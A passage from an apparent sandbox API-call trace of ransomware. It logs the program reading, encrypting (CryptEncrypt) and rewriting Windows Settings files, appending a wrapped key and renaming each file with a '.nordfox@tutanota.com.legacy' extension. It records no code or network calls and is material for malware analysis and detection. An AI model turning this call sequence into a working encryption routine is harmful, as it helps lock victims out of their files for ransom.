(lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupFamilyUsers.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupfamilyusers.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupFamilyUsers.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupfamilyusers.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.719] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessToggleKeys.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.719] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x49d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.729] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.729] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x49d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.730] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49d [0199.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.730] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.731] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.731] CloseHandle (hObject=0x1c24) returned 1 [0199.731] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessToggleKeys.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccesstogglekeys.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessToggleKeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccesstogglekeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.733] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.733] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessStickyKeys.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.733] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x49d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.734] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.734] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x49d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.735] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49d [0199.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.735] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.735] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.735] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.736] CloseHandle (hObject=0x1c24) returned 1 [0199.736] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessStickyKeys.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessstickykeys.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessStickyKeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessstickykeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.738] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.738] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.738] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOther.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.739] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0199.740] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1156, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.740] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x484, lpOverlapped=0x0) returned 1 [0199.740] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x484 [0199.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.741] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.741] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.741] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.741] CloseHandle (hObject=0x1c24) returned 1 [0199.742] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOther.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessother.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOther.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessother.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOSK.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.744] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47a, lpOverlapped=0x0) returned 1 [0199.745] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.745] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47a, lpOverlapped=0x0) returned 1 [0199.745] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47a [0199.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.746] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.746] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.746] CloseHandle (hObject=0x1c24) returned 1 [0199.746] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOSK.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessosk.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessOSK.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessosk.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessNarrator.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.749] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x493, lpOverlapped=0x0) returned 1 [0199.750] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.750] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x493, lpOverlapped=0x0) returned 1 [0199.750] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x493 [0199.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.750] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.751] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.751] CloseHandle (hObject=0x1c24) returned 1 [0199.751] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessNarrator.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessnarrator.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessNarrator.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessnarrator.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.753] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessFilterKeys.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.753] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x49d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.754] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1181, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.754] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x49d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x49d, lpOverlapped=0x0) returned 1 [0199.755] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x49d [0199.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.755] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.755] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.756] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.756] CloseHandle (hObject=0x1c24) returned 1 [0199.756] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessFilterKeys.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessfilterkeys.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupEaseOfAccessFilterKeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupeaseofaccessfilterkeys.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.761] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.761] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a9, lpOverlapped=0x0) returned 1 [0199.762] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1193, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.762] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a9, lpOverlapped=0x0) returned 1 [0199.762] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a9 [0199.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.763] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.763] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.763] CloseHandle (hObject=0x1c24) returned 1 [0199.764] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageSettings.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupdatasensemainpagesettings.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageSettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingsgroupdatasensemainpagesettings.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.765] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.765] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsGroupDataSenseMainPageOverview.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.766] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a9, lpOverlapped=0x0) returned 1 [0199.767] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1193, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.767] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a9, 